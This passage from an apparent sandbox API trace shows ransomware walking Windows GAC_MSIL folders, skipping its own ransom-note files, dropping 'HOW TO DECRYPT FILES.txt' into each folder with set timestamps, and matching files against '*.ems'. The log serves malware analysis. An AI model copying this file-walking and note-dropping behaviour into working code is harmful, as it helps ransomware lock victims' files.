ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6769006c, dwReserved1=0x690000, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Permission", cAlternateFileName="POLICY~1.PER")) returned 1 [0100.983] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission") returned -1 [0100.983] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission") returned -1 [0100.983] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.984] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission" [0100.984] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.985] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.985] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.985] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.985] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.985] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.985] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\*.*") returned="*.*" [0100.985] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c" [0100.985] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.988] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.988] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.988] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.988] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.988] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d38290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d38290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x38e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Permission.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.988] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.988] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.config") returned -1 [0100.988] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.config") returned -1 [0100.988] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.config") returned -1 [0100.988] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.988] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\" [0100.988] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.988] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.988] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.permission\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.989] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.permission\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.992] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.992] CloseHandle (hObject=0x90) returned 1 [0100.992] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config" [0100.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config", pszSpec="*.ems") returned 0 [0100.993] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553a8c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Permission.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.993] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.dll") returned -1 [0100.993] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.dll") returned -1 [0100.993] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.dll") returned -1 [0100.993] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config") returned="Policy.12.0.Microsoft.Office.InfoPath.Permission.config" [0100.993] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\" [0100.993] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.993] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.993] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.permission\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.993] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Permission.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.dll" [0100.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.dll", pszSpec="*.ems") returned 0 [0100.994] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553a8c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Permission.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.994] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.994] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.994] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.994] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6699150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6699150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6699150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x676900, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.Access", cAlternateFileName="POLICY~2.ACC")) returned 1 [0100.994] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.Interop.Access") returned -1 [0100.994] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.Interop.Access") returned -1 [0100.994] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.994] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Access" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access" [0100.994] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6699150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6699150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6699150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.995] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.995] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6699150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6699150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6699150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.995] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.995] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.995] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50eed0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6699150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6699150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.995] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.995] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.995] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\*.*") returned="*.*" [0100.995] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c" [0100.995] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50eed0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6699150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6699150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.999] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.000] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50eed0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6699150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6699150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.000] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.000] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.000] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e86eb30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e86eb30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Access.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.000] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.000] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.config") returned -1 [0101.000] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.config") returned -1 [0101.000] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.config") returned -1 [0101.000] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.000] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" [0101.000] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.000] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.000] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.000] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.004] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.004] CloseHandle (hObject=0x90) returned 1 [0101.004] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config" [0101.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config", pszSpec="*.ems") returned 0 [0101.005] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eed0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50eed0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f13250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.Access.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.005] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.005] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.dll") returned -1 [0101.005] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.dll") returned -1 [0101.005] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.Access.dll") returned -1 [0101.005] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config") returned="Policy.12.0.Microsoft.Office.Interop.Access.config" [0101.005] lstrcpyA (in: lpString1=0x407019, 